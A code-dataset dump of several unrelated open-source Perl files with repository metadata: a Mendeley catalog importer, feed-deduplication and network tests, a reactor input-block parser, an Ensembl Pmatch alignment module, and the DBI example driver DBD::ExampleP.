charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. =cut
24.730337
65
0.637438
ed515934d30e14b4c629a0a5a814d6a7875e5b21
2,507
pm
Perl
lib/Catmandu/Importer/MendeleyCatalog.pm
LibreCat/Catmandu-Mendeley
4012d09938aa0730aeab4cd17b4a750e06510e6c
[ "Artistic-1.0" ]
null
null
null
lib/Catmandu/Importer/MendeleyCatalog.pm
LibreCat/Catmandu-Mendeley
4012d09938aa0730aeab4cd17b4a750e06510e6c
[ "Artistic-1.0" ]
null
null
null
lib/Catmandu/Importer/MendeleyCatalog.pm
LibreCat/Catmandu-Mendeley
4012d09938aa0730aeab4cd17b4a750e06510e6c
[ "Artistic-1.0" ]
null
null
null
package Catmandu::Importer::MendeleyCatalog; use Catmandu::Sane; use Moo; use OAuth::Lite2::Client::ClientCredentials; use HTTP::Tiny; use JSON::XS; use Catmandu::Util qw(is_value); with 'Catmandu::Importer'; my $DOCUMENT_CONTENT_TYPE = 'application/vnd.mendeley-document.1+json'; my $CATALOG_SEARCH_PATH = '/search/catalog'; my $CATALOG_PATH = '/catalog'; my @QUERY_FIELDS = qw(title author source abstract); my @IDENTIFIER_FIELDS = qw(arxiv doi isbn issn pmid scopus filehash); has client_id => (is => 'ro', required => 1); has client_secret => (is => 'ro', required => 1); has client => (is => 'lazy'); has params => (is => 'ro', default => sub { +{} }); has path => (is => 'rwp', default => sub { $CATALOG_SEARCH_PATH }); sub BUILD { my ($self, $args) = @_; my @query_keys = grep { is_value($args->{$_}) } @QUERY_FIELDS; my @identifier_keys = grep { is_value($args->{$_}) } @IDENTIFIER_FIELDS; my $params = $self->params; $params->{view} = $args->{view} || 'all'; # get by id if (is_value($args->{id})) { $self->_set_path("$CATALOG_PATH/$args->{id}"); # query search } elsif (is_value($args->{query})) { $params->{query} = $args->{query}; $params->{limit} = $args->{limit} if is_value($args->{limit}); # fielded search } elsif (@query_keys) { $params->{$_} = $args->{$_} for @query_keys; $params->{limit} = $args->{limit} if is_value($args->{limit}); # identifier search } elsif (@identifier_keys) { $params->{$_} = $args->{$_} for @identifier_keys; $self->_set_path($CATALOG_PATH); } else { die "Missing required arguments"; } } sub _build_client { my ($self) = @_; OAuth::Lite2::Client::ClientCredentials->new( id => $self->client_id, secret => $self->client_secret, access_token_uri => 'https://api.mendeley.com/oauth/token', ); } sub generator { my ($self) = @_; sub { state $docs = $self->_get_documents; shift @$docs; }; } sub _get_documents { my ($self) = @_; my $token = $self->client->get_access_token->access_token; my $http = HTTP::Tiny->new; my $path = $self->path; my $params = $http->www_form_urlencode($self->params); my $res = $http->get("https://api.mendeley.com/$path?$params", { headers => { Accept => $DOCUMENT_CONTENT_TYPE, Authorization => sprintf(q{Bearer %s}, $token) } }); decode_json($res->{content}); } 1;
29.845238
76
0.591145
ed31592185a4389423bf2df1d3179d8972b9f827
768
t
Perl
t/02_compare_body.t
mattn/p5-xml-feed-deduper
b6c6cde1b293bc4966f4dadcc33f7a97e53df992
[ "Artistic-1.0" ]
null
null
null
t/02_compare_body.t
mattn/p5-xml-feed-deduper
b6c6cde1b293bc4966f4dadcc33f7a97e53df992
[ "Artistic-1.0" ]
null
null
null
t/02_compare_body.t
mattn/p5-xml-feed-deduper
b6c6cde1b293bc4966f4dadcc33f7a97e53df992
[ "Artistic-1.0" ]
null
null
null
use strict; use warnings; use Test::More tests => 2; use XML::Feed::Deduper; use File::Temp; use FindBin; use URI; my $tmp = File::Temp->new(UNLINK => 1); my $deduper = XML::Feed::Deduper->new( path => $tmp->filename, compare_body => 1, ); { my $feed = XML::Feed->parse( URI->new("file://$FindBin::Bin/samples/01.rss") ) or die XML::Feed->errstr; my @entries = $deduper->dedup($feed->entries); is(join(' ', map { $_->link } @entries), 'http://example.com/entry/1'); } { my $feed = XML::Feed->parse( URI->new("file://$FindBin::Bin/samples/02.rss") ) or die XML::Feed->errstr; my @entries = $deduper->dedup($feed->entries); is(join(' ', map { $_->link } @entries), 'http://example.com/entry/1 http://example.com/entry/2'); }
25.6
102
0.598958
ed0a9955864f75c5b8867b28fe85baccefb88330
5,019
pm
Perl
verain/scripts/Packages/REACTORBlock.pm
CASL/VERAin
95a65dd607d85d3ebde99d14aff4ff368ad0bf02
[ "Artistic-2.0" ]
8
2016-04-19T17:39:13.000Z
2022-01-22T15:04:44.000Z
verain/scripts/Packages/REACTORBlock.pm
CASL/VERAin
95a65dd607d85d3ebde99d14aff4ff368ad0bf02
[ "Artistic-2.0" ]
1
2017-11-28T15:12:32.000Z
2017-11-29T16:32:34.000Z
verain/scripts/Packages/REACTORBlock.pm
CASL/VERAin
95a65dd607d85d3ebde99d14aff4ff368ad0bf02
[ "Artistic-2.0" ]
7
2017-02-17T01:29:58.000Z
2022-03-08T03:18:06.000Z
package REACTORBlock; # use Clone qw(clone); # use ClonePP qw(clone); use Clone::PP qw(clone); use Carp; use Data::Dumper ; use Data::Types qw(:all); use List::MoreUtils::PP; use KeyTree; use MiscUtils; use TypeUtils; use REACTORCommand; my %BLOCK_COUNTERS; { my $_count = 0; sub get_count {$_count;} sub _incr_count { ++$_count } sub _decr_count { --$_count } my $_VERBOSE = 0; sub get_verbose {$_VERBOSE;} sub set_verbose { $_VERBOSE = 1; } my $_DEBUG = 0; sub get_debug {$_DEBUG;} sub set_debug { $_DEBUG = 1; } } sub new { my ($class, %arg) = @_; my $o=bless{ name => $arg{name} || croak("missing block name"), inp_db => undef, out_db => $arg{out_db} || undef, named => $arg{named} || 0, keytree => undef, }, $class; if($arg{inp_db}){ $o->inp_db($arg{inp_db}); } return $o; } sub name { my ($self, $newval) = @_; my $myfun=(caller(0))[3]; croak "Too many arguments to $myfun" if @_ > 2; $self->{name}= $newval if @_ > 1; croak "$myfun undefined" unless defined($self->{name}); return $self->{name}; } sub named { my ($self, $newval) = @_; my $myfun=(caller(0))[3]; croak "Too many arguments to $myfun" if @_ > 2; $self->{named}= $newval if @_ > 1; croak "$myfun undefined" unless defined($self->{named}); return $self->{named}; } sub command { my ($self, $newval) = @_; my $myfun=(caller(0))[3]; croak "Too many arguments to $myfun" if @_ > 2; $self->{command}= $newval if @_ > 1; croak "$myfun undefined" unless defined($self->{command}); return $self->{command}; } sub inp_db { my ($self, $newval) = @_; my $myfun=(caller(0))[3]; croak "Too many arguments to $myfun" if @_ > 2; if(@_ >1){ $self->{inp_db} = $newval; my $dir_ref=key_exists($newval,$self->name()); # find block data tree in input template, Directory.yml(ROOT)->BLOCK_NAME croak "directory entry does not exist" unless defined($dir_ref); $self->{keytree}=clone($dir_ref); # create new instance of block db my %args=%{ $self->{keytree} }; my $name_idx=$args{_named}; my $maxid=$args{_maxid}; my $bname=$self->name(); if(defined($name_idx) && $name_idx ne '0'){ my $bnum=$BLOCK_COUNTERS{$self->name()}+1; if(defined($maxid) && $bnum > $maxid){ die "inp_db: max counter $maxid for the block $bname $bnum exceeded.\n"; } $BLOCK_COUNTERS{$self->name()}=$bnum; $self->named($BLOCK_COUNTERS{$self->name()}); # In case we want to use id # $self->named($name_idx); # print "block named $name_idx\n"; } } croak "$myfun undefined" unless defined($self->{inp_db}); return $self->{inp_db}; } sub out_db { my ($self, $newval) = @_; my $myfun=(caller(0))[3]; croak "Too many arguments to $myfun" if @_ > 2; $self->{out_db}= $newval if @_ > 1; croak "$myfun undefined" unless defined($self->{out_db}); return $self->{out_db}; } sub keytree { my ($self, $newval) = @_; my $myfun=(caller(0))[3]; croak "Too many arguments to $myfun" if @_ > 1; croak "$myfun undefined" unless defined($self->{keytree}); return $self->{keytree}; } sub keyon { my $self=shift; my $MAIN_DB=$self->out_db(); my $block=$self->name(); my $store=$self->keytree(); my $named=$self->named(); my $REF_LABEL='_key'; my $CONTENT_LABEL='_content'; # my @blocklabels=($block); if(defined($named) && $named ne '0'){ # In case we want to use id # print "keyon named $named\n"; # my $path='$' . $named; # my @path=parse_path($path); # print "path @path\n"; # my $kr=key_defined($store,@path); # unless(defined($kr)){ # die "error in block $block: parameter $named is not specified\n"; # } # print "kr: $kr\n"; # print Dumper($store); # push @blocklabels, $kr; # $MAIN_DB=new_key($MAIN_DB,$block); $MAIN_DB=new_key($MAIN_DB,$block,$REF_LABEL,$named); # $block=$kr; # $block=$named; $block=$CONTENT_LABEL; } key_on($MAIN_DB,$block,$store); } sub is_command { my ($self,$command)=@_; my $myfun=(caller(0))[3]; croak "Invalid number of arguments to $myfun" if @_ != 2; my $block_ref=$self->keytree(); my $ref_key=key_exists($block_ref,$command); my $alias=read_off_label($ref_key, '_alias'); if( $alias ){ print "$myfun _alias: $command = $alias\n" if get_verbose(); $ref_key=$self->is_command($alias); # $ref_key=key_exists($block_ref,$alias); } return $ref_key; } sub command_name { my ($self,$command)=@_; my $myfun=(caller(0))[3]; croak "Invalid number of arguments to $myfun" if @_ != 2; my $block_ref=$self->keytree(); my $ref_key=key_exists($block_ref,$command); croak "$myfun: invalid command name $command" unless $ref_key; my $alias=read_off_label($ref_key, '_alias'); if( $alias ){ print "$myfun _alias: $command = $alias\n" if get_verbose(); $command=$self->command_name($alias); # $command=$alias; } return $command; } 1;
23.674528
122
0.598127
ed06f115381546e59f0a3f41fae7c9c7214bd454
292
t
Perl
t/00test_network.t
woodruffw/NIST-Beacon
ea280839e9c2069683f862a2b6fd699806df1bf6
[ "MIT" ]
1
2017-04-07T19:16:27.000Z
2017-04-07T19:16:27.000Z
t/00test_network.t
woodruffw/NIST-Beacon
ea280839e9c2069683f862a2b6fd699806df1bf6
[ "MIT" ]
1
2019-04-07T17:52:34.000Z
2019-04-07T17:52:34.000Z
t/00test_network.t
woodruffw/NIST-Beacon
ea280839e9c2069683f862a2b6fd699806df1bf6
[ "MIT" ]
null
null
null
use Test::More; use Test::RequiresInternet; BEGIN { plan tests => 2 } use Net::Ping; use LWP::UserAgent; my $ping = Net::Ping->new(); isnt($ping->ping("nist.gov", 3), undef); my $browser = LWP::UserAgent->new; my $response = $browser->get("http://nist.gov"); ok($response->code == 200);
18.25
48
0.640411
73e7e42503a030c0b217bf1b3725f8f86269dcb3
5,610
pm
Perl
modules/Bio/EnsEMBL/Analysis/RunnableDB/Pmatch.pm
dbolser-ebi/ensembl-analysis
7e541771c7691da155a0265838b22b2ccbfdec1e
[ "Apache-2.0" ]
null
null
null
modules/Bio/EnsEMBL/Analysis/RunnableDB/Pmatch.pm
dbolser-ebi/ensembl-analysis
7e541771c7691da155a0265838b22b2ccbfdec1e
[ "Apache-2.0" ]
null
null
null
modules/Bio/EnsEMBL/Analysis/RunnableDB/Pmatch.pm
dbolser-ebi/ensembl-analysis
7e541771c7691da155a0265838b22b2ccbfdec1e
[ "Apache-2.0" ]
null
null
null
=head1 LICENSE # Copyright [1999-2015] Wellcome Trust Sanger Institute and the EMBL-European Bioinformatics Institute # Copyright [2016-2018] EMBL-European Bioinformatics Institute # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. =head1 CONTACT Please email comments or questions to the public Ensembl developers list at <http://lists.ensembl.org/mailman/listinfo/dev>. Questions may also be sent to the Ensembl help desk at <http://www.ensembl.org/Help/Contact>. =cut =head1 NAME Bio::EnsEMBL::Analysis::RunnableDB::Pmatch - =head1 SYNOPSIS =head1 DESCRIPTION Pmatch is a fast alignment program written by Richard Durbin we used to align species specific proteins to the genome, (We also use it to align very closely related species proteins sets e.g Mouse to Rat or Fugu to Tetraodon). The pmatch source code is available from the sanger cvs respository in module rd-utils, (http://cvs.sanger.ac.uk/cgi-bin/viewvc.cgi/rd-utils/?root=ensembl). The code to run this process in the ensembl code base can be found in 2 RunnableDBs and a config file. Bio::EnsEMBL::Analysis::RunnableDB::Pmatch, Bio::EnsEMBL::Analysis::RunnableDB::BestPmatch and Bio::EnsEMBL::Analysis::Config::GeneBuild::Pmatch =head1 METHODS =head1 APPENDIX The rest of the documentation details each of the object methods. Internal methods are usually preceded with a _ =cut package Bio::EnsEMBL::Analysis::RunnableDB::Pmatch; use warnings ; use vars qw(@ISA); use strict; use Bio::EnsEMBL::Analysis::RunnableDB::BaseGeneBuild; use Bio::EnsEMBL::Analysis::Config::GeneBuild::Pmatch qw(PMATCH_CONFIG_BY_LOGIC); use Bio::EnsEMBL::Analysis::Runnable::Pmatch; use Bio::EnsEMBL::Utils::Exception qw(throw warning); use Bio::EnsEMBL::Utils::Argument qw (rearrange); @ISA = qw(Bio::EnsEMBL::Analysis::RunnableDB::BaseGeneBuild); sub new { my ($class,@args) = @_; my $self = $class->SUPER::new(@args); $self->read_and_check_config($PMATCH_CONFIG_BY_LOGIC); return $self; } sub fetch_input{ my ($self) = @_; my $slice = $self->fetch_sequence($self->input_id, $self->db, $self->REPEAT_MASKING); $self->query($slice); my %parameters = %{$self->parameters_hash}; my $program = $self->analysis->program_file; $program = $self->BINARY_LOCATION if(!$program); my $runnable = Bio::EnsEMBL::Analysis::Runnable::Pmatch ->new( -query => $self->query, -program => $program, -analysis => $self->analysis, -protein_file => $self->PROTEIN_FILE, -max_intron_length => $self->MAX_INTRON_LENGTH, -min_coverage => $self->MIN_COVERAGE, -options => $self->OPTIONS, ); $self->runnable($runnable); } sub PROTEIN_FILE{ my ($self, $arg) = @_; if($arg){ $self->{'PROTEIN_FILE'} = $arg; } return $self->{'PROTEIN_FILE'}; } sub MIN_COVERAGE{ my ($self, $arg) = @_; if($arg){ $self->{'MIN_COVERAGE'} = $arg; } return $self->{'MIN_COVERAGE'}; } sub BINARY_LOCATION{ my ($self, $arg) = @_; if($arg){ $self->{'BINARY_LOCATION'} = $arg; } return $self->{'BINARY_LOCATION'}; } sub MAX_INTRON_LENGTH{ my ($self, $arg) = @_; if($arg){ $self->{'MAX_INTRON_SIZE'} = $arg; } return $self->{'MAX_INTRON_SIZE'}; } sub OUTPUT_DB{ my ($self, $arg) = @_; if($arg){ $self->{'OUTPUT_DB'} = $arg; } return $self->{'OUTPUT_DB'}; } sub REPEAT_MASKING{ my ($self, $arg) = @_; if($arg){ throw("Runnable::Pmatch ".$arg." must be an array ref of logic names not .".$arg) unless(ref($arg) eq 'ARRAY'); $self->{'REPEAT_MASKING'} = $arg; } return $self->{'REPEAT_MASKING'}; } sub OPTIONS { my ($self,$value) = @_; if (defined $value) { $self->{'_CONFIG_OPTIONS'} = $value; } if (exists($self->{'_CONFIG_OPTIONS'})) { return $self->{'_CONFIG_OPTIONS'}; } else { return undef; } } sub read_and_check_config { my $self = shift; $self->SUPER::read_and_check_config($PMATCH_CONFIG_BY_LOGIC); ####### #CHECKS ####### foreach my $config_var (qw(PROTEIN_FILE OUTPUT_DB)){ throw("You must define $config_var in config for logic '". $self->analysis->logic_name."'") if not defined $self->$config_var; } }; sub get_adaptor{ my ($self) = @_; my $output_db = $self->get_dbadaptor($self->OUTPUT_DB); return $output_db->get_ProteinAlignFeatureAdaptor; } sub write_output{ my ($self) = @_; my $adaptor = $self->get_adaptor; my %unique; FEATURE:foreach my $feature(@{$self->output}){ $feature->analysis($self->analysis); $feature->slice($self->query) if(!$feature->slice); my $unique_string = $feature->start." ".$feature->end." ".$feature->score." ".$feature->hseqname; next FEATURE if($unique{$unique_string}); $unique{$unique_string} = 1; $self->feature_factory->validate($feature); eval{ $adaptor->store($feature); }; if($@){ throw("RunnableDB:store failed, failed to write ".$feature." to ". "the database ".$adaptor->dbc->dbname." $@"); } } return 1; } 1;
24.497817
112
0.658111
ed5414f4326e2eaab2880795bfbb1c35334576ca
12,413
pm
Perl
perl/vendor/lib/DBD/ExampleP.pm
ifleeyo180/VspriteMoodleWebsite
38baa924829c83808d2c87d44740ff365927a646
[ "Apache-2.0" ]
2
2021-10-20T00:25:39.000Z
2021-11-08T12:52:42.000Z
perl/vendor/lib/DBD/ExampleP.pm
ifleeyo180/VspriteMoodleWebsite
38baa924829c83808d2c87d44740ff365927a646
[ "Apache-2.0" ]
16
2019-08-28T23:45:01.000Z
2019-12-20T02:12:13.000Z
perl/vendor/lib/DBD/ExampleP.pm
ifleeyo180/VspriteMoodleWebsite
38baa924829c83808d2c87d44740ff365927a646
[ "Apache-2.0" ]
1
2022-03-14T06:41:16.000Z
2022-03-14T06:41:16.000Z
{ package DBD::ExampleP; use strict; use Symbol; use DBI qw(:sql_types); require File::Spec; our (@EXPORT,$VERSION,@statnames,%statnames,@stattypes,%stattypes, @statprec,%statprec,$drh,); @EXPORT = qw(); # Do NOT @EXPORT anything. $VERSION = "12.014311"; # $Id: ExampleP.pm 14310 2010-08-02 06:35:25Z Jens $ # # Copyright (c) 1994,1997,1998 Tim Bunce # # You may distribute under the terms of either the GNU General Public # License or the Artistic License, as specified in the Perl README file. @statnames = qw(dev ino mode nlink uid gid rdev size atime mtime ctime blksize blocks name); @statnames{@statnames} = (0 .. @statnames-1); @stattypes = (SQL_INTEGER, SQL_INTEGER, SQL_INTEGER, SQL_INTEGER, SQL_INTEGER, SQL_INTEGER, SQL_INTEGER, SQL_INTEGER, SQL_INTEGER, SQL_INTEGER, SQL_INTEGER, SQL_INTEGER, SQL_INTEGER, SQL_VARCHAR); @stattypes{@statnames} = @stattypes; @statprec = ((10) x (@statnames-1), 1024); @statprec{@statnames} = @statprec; die unless @statnames == @stattypes; die unless @statprec == @stattypes; $drh = undef; # holds driver handle once initialised #$gensym = "SYM000"; # used by st::execute() for filehandles sub driver{ return $drh if $drh; my($class, $attr) = @_; $class .= "::dr"; ($drh) = DBI::_new_drh($class, { 'Name' => 'ExampleP', 'Version' => $VERSION, 'Attribution' => 'DBD Example Perl stub by Tim Bunce', }, ['example implementors private data '.__PACKAGE__]); $drh; } sub CLONE { undef $drh; } } { package DBD::ExampleP::dr; # ====== DRIVER ====== $imp_data_size = 0; use strict; sub connect { # normally overridden, but a handy default my($drh, $dbname, $user, $auth)= @_; my ($outer, $dbh) = DBI::_new_dbh($drh, { Name => $dbname, examplep_private_dbh_attrib => 42, # an example, for testing }); $dbh->{examplep_get_info} = { 29 => '"', # SQL_IDENTIFIER_QUOTE_CHAR 41 => '.', # SQL_CATALOG_NAME_SEPARATOR 114 => 1, # SQL_CATALOG_LOCATION }; #$dbh->{Name} = $dbname; $dbh->STORE('Active', 1); return $outer; } sub data_sources { return ("dbi:ExampleP:dir=."); # possibly usefully meaningless } } { package DBD::ExampleP::db; # ====== DATABASE ====== $imp_data_size = 0; use strict; sub prepare { my($dbh, $statement)= @_; my @fields; my($fields, $dir) = $statement =~ m/^\s*select\s+(.*?)\s+from\s+(\S*)/i; if (defined $fields and defined $dir) { @fields = ($fields eq '*') ? keys %DBD::ExampleP::statnames : split(/\s*,\s*/, $fields); } else { return $dbh->set_err($DBI::stderr, "Syntax error in select statement (\"$statement\")") unless $statement =~ m/^\s*set\s+/; # the SET syntax is just a hack so the ExampleP driver can # be used to test non-select statements. # Now we have DBI::DBM etc., ExampleP should be deprecated } my ($outer, $sth) = DBI::_new_sth($dbh, { 'Statement' => $statement, examplep_private_sth_attrib => 24, # an example, for testing }, ['example implementors private data '.__PACKAGE__]); my @bad = map { defined $DBD::ExampleP::statnames{$_} ? () : $_ } @fields; return $dbh->set_err($DBI::stderr, "Unknown field names: @bad") if @bad; $outer->STORE('NUM_OF_FIELDS' => scalar(@fields)); $sth->{examplep_ex_dir} = $dir if defined($dir) && $dir !~ /\?/; $outer->STORE('NUM_OF_PARAMS' => ($dir) ? $dir =~ tr/?/?/ : 0); if (@fields) { $outer->STORE('NAME' => \@fields); $outer->STORE('NULLABLE' => [ (0) x @fields ]); $outer->STORE('SCALE' => [ (0) x @fields ]); } $outer; } sub table_info { my $dbh = shift; my ($catalog, $schema, $table, $type) = @_; my @types = split(/["']*,["']/, $type || 'TABLE'); my %types = map { $_=>$_ } @types; # Return a list of all subdirectories my $dh = Symbol::gensym(); # "DBD::ExampleP::".++$DBD::ExampleP::gensym; my $dir = $catalog || File::Spec->curdir(); my @list; if ($types{VIEW}) { # for use by test harness push @list, [ undef, "schema", "table", 'VIEW', undef ]; push @list, [ undef, "sch-ema", "table", 'VIEW', undef ]; push @list, [ undef, "schema", "ta-ble", 'VIEW', undef ]; push @list, [ undef, "sch ema", "table", 'VIEW', undef ]; push @list, [ undef, "schema", "ta ble", 'VIEW', undef ]; } if ($types{TABLE}) { no strict 'refs'; opendir($dh, $dir) or return $dbh->set_err(int($!), "Failed to open directory $dir: $!"); while (defined(my $item = readdir($dh))) { if ($^O eq 'VMS') { # if on VMS then avoid warnings from catdir if you use a file # (not a dir) as the item below next if $item !~ /\.dir$/oi; } my $file = File::Spec->catdir($dir,$item); next unless -d $file; my($dev, $ino, $mode, $nlink, $uid) = lstat($file); my $pwnam = undef; # eval { scalar(getpwnam($uid)) } || $uid; push @list, [ $dir, $pwnam, $item, 'TABLE', undef ]; } close($dh); } # We would like to simply do a DBI->connect() here. However, # this is wrong if we are in a subclass like DBI::ProxyServer. $dbh->{'dbd_sponge_dbh'} ||= DBI->connect("DBI:Sponge:", '','') or return $dbh->set_err($DBI::err, "Failed to connect to DBI::Sponge: $DBI::errstr"); my $attr = { 'rows' => \@list, 'NUM_OF_FIELDS' => 5, 'NAME' => ['TABLE_CAT', 'TABLE_SCHEM', 'TABLE_NAME', 'TABLE_TYPE', 'REMARKS'], 'TYPE' => [DBI::SQL_VARCHAR(), DBI::SQL_VARCHAR(), DBI::SQL_VARCHAR(), DBI::SQL_VARCHAR(), DBI::SQL_VARCHAR() ], 'NULLABLE' => [1, 1, 1, 1, 1] }; my $sdbh = $dbh->{'dbd_sponge_dbh'}; my $sth = $sdbh->prepare("SHOW TABLES FROM $dir", $attr) or return $dbh->set_err($sdbh->err(), $sdbh->errstr()); $sth; } sub type_info_all { my ($dbh) = @_; my $ti = [ { TYPE_NAME => 0, DATA_TYPE => 1, COLUMN_SIZE => 2, LITERAL_PREFIX => 3, LITERAL_SUFFIX => 4, CREATE_PARAMS => 5, NULLABLE => 6, CASE_SENSITIVE => 7, SEARCHABLE => 8, UNSIGNED_ATTRIBUTE=> 9, FIXED_PREC_SCALE=> 10, AUTO_UNIQUE_VALUE => 11, LOCAL_TYPE_NAME => 12, MINIMUM_SCALE => 13, MAXIMUM_SCALE => 14, }, [ 'VARCHAR', DBI::SQL_VARCHAR, 1024, "'","'", undef, 0, 1, 1, 0, 0,0,undef,0,0 ], [ 'INTEGER', DBI::SQL_INTEGER, 10, "","", undef, 0, 0, 1, 0, 0,0,undef,0,0 ], ]; return $ti; } sub ping { (shift->FETCH('Active')) ? 2 : 0; # the value 2 is checked for by t/80proxy.t } sub disconnect { shift->STORE(Active => 0); return 1; } sub get_info { my ($dbh, $info_type) = @_; return $dbh->{examplep_get_info}->{$info_type}; } sub FETCH { my ($dbh, $attrib) = @_; # In reality this would interrogate the database engine to # either return dynamic values that cannot be precomputed # or fetch and cache attribute values too expensive to prefetch. # else pass up to DBI to handle return $INC{"DBD/ExampleP.pm"} if $attrib eq 'example_driver_path'; return $dbh->SUPER::FETCH($attrib); } sub STORE { my ($dbh, $attrib, $value) = @_; # store only known attributes else pass up to DBI to handle if ($attrib eq 'examplep_set_err') { # a fake attribute to enable a test case where STORE issues a warning $dbh->set_err($value, $value); return; } if ($attrib eq 'AutoCommit') { # convert AutoCommit values to magic ones to let DBI # know that the driver has 'handled' the AutoCommit attribute $value = ($value) ? -901 : -900; } return $dbh->{$attrib} = $value if $attrib =~ /^examplep_/; return $dbh->SUPER::STORE($attrib, $value); } sub DESTROY { my $dbh = shift; $dbh->disconnect if $dbh->FETCH('Active'); undef } # This is an example to demonstrate the use of driver-specific # methods via $dbh->func(). # Use it as follows: # my @tables = $dbh->func($re, 'examplep_tables'); # # Returns all the tables that match the regular expression $re. sub examplep_tables { my $dbh = shift; my $re = shift; grep { $_ =~ /$re/ } $dbh->tables(); } sub parse_trace_flag { my ($h, $name) = @_; return 0x01000000 if $name eq 'foo'; return 0x02000000 if $name eq 'bar'; return 0x04000000 if $name eq 'baz'; return 0x08000000 if $name eq 'boo'; return 0x10000000 if $name eq 'bop'; return $h->SUPER::parse_trace_flag($name); } sub private_attribute_info { return { example_driver_path => undef }; } } { package DBD::ExampleP::st; # ====== STATEMENT ====== $imp_data_size = 0; use strict; no strict 'refs'; # cause problems with filehandles sub bind_param { my($sth, $param, $value, $attribs) = @_; $sth->{'dbd_param'}->[$param-1] = $value; return 1; } sub execute { my($sth, @dir) = @_; my $dir; if (@dir) { $sth->bind_param($_, $dir[$_-1]) or return foreach (1..@dir); } my $dbd_param = $sth->{'dbd_param'} || []; return $sth->set_err(2, @$dbd_param." values bound when $sth->{NUM_OF_PARAMS} expected") unless @$dbd_param == $sth->{NUM_OF_PARAMS}; return 0 unless $sth->{NUM_OF_FIELDS}; # not a select $dir = $dbd_param->[0] || $sth->{examplep_ex_dir}; return $sth->set_err(2, "No bind parameter supplied") unless defined $dir; $sth->finish; # # If the users asks for directory "long_list_4532", then we fake a # directory with files "file4351", "file4350", ..., "file0". # This is a special case used for testing, especially DBD::Proxy. # if ($dir =~ /^long_list_(\d+)$/) { $sth->{dbd_dir} = [ $1 ]; # array ref indicates special mode $sth->{dbd_datahandle} = undef; } else { $sth->{dbd_dir} = $dir; my $sym = Symbol::gensym(); # "DBD::ExampleP::".++$DBD::ExampleP::gensym; opendir($sym, $dir) or return $sth->set_err(2, "opendir($dir): $!"); $sth->{dbd_datahandle} = $sym; } $sth->STORE(Active => 1); return 1; } sub fetch { my $sth = shift; my $dir = $sth->{dbd_dir}; my %s; if (ref $dir) { # special fake-data test mode my $num = $dir->[0]--; unless ($num > 0) { $sth->finish(); return; } my $time = time; @s{@DBD::ExampleP::statnames} = ( 2051, 1000+$num, 0644, 2, $>, $), 0, 1024, $time, $time, $time, 512, 2, "file$num") } else { # normal mode my $dh = $sth->{dbd_datahandle} or return $sth->set_err($DBI::stderr, "fetch without successful execute"); my $f = readdir($dh); unless ($f) { $sth->finish; return; } # untaint $f so that we can use this for DBI taint tests ($f) = ($f =~ m/^(.*)$/); my $file = File::Spec->catfile($dir, $f); # put in all the data fields @s{ @DBD::ExampleP::statnames } = (lstat($file), $f); } # return just what fields the query asks for my @new = @s{ @{$sth->{NAME}} }; return $sth->_set_fbav(\@new); } *fetchrow_arrayref = \&fetch; sub finish { my $sth = shift; closedir($sth->{dbd_datahandle}) if $sth->{dbd_datahandle}; $sth->{dbd_datahandle} = undef; $sth->{dbd_dir} = undef; $sth->SUPER::finish(); return 1; } sub FETCH { my ($sth, $attrib) = @_; # In reality this would interrogate the database engine to # either return dynamic values that cannot be precomputed # or fetch and cache attribute values too expensive to prefetch. if ($attrib eq 'TYPE'){ return [ @DBD::ExampleP::stattypes{ @{ $sth->FETCH(q{NAME_lc}) } } ]; } elsif ($attrib eq 'PRECISION'){ return [ @DBD::ExampleP::statprec{ @{ $sth->FETCH(q{NAME_lc}) } } ]; } elsif ($attrib eq 'ParamValues') { my $dbd_param = $sth->{dbd_param} || []; my %pv = map { $_ => $dbd_param->[$_-1] } 1..@$dbd_param; return \%pv; } # else pass up to DBI to handle return $sth->SUPER::FETCH($attrib); } sub STORE { my ($sth, $attrib, $value) = @_; # would normally validate and only store known attributes # else pass up to DBI to handle return $sth->{$attrib} = $value if $attrib eq 'NAME' or $attrib eq 'NULLABLE' or $attrib eq 'SCALE' or $attrib eq 'PRECISION'; return $sth->SUPER::STORE($attrib, $value); } *parse_trace_flag = \&DBD::ExampleP::db::parse_trace_flag; } 1; # vim: sw=4:ts=8
28.470183
99
0.581648
ed3495462cddbc2d8cd54e0b63db5d5bf3e54ee3
1,578
pl
Perl
web-client/server.pl
torbjornlager/scxml-web-prolog
5ca74d53035a4c65dfc6ec82d41a20263c0c95da
[ "BSD-2-Clause" ]
193
2018-06-09T22:07:59.000Z
2022-03-25T11:22:12.000Z
web-client/server.pl
torbjornlager/scxml-web-prolog
5ca74d53035a4c65dfc6ec82d41a20263c0c95da
[ "BSD-2-Clause" ]
9
2018-06-12T01:40:36.000Z
2020-03-23T00:33:57.000Z
web-client/server.pl
jacobfriedman/swi-web-prolog
b39af71805c389c7da3ea7cb066ac6880f37b868
[ "BSD-2-Clause" ]
9
2018-06-12T15:12:25.000Z
2021-01-13T01:13:56.000Z
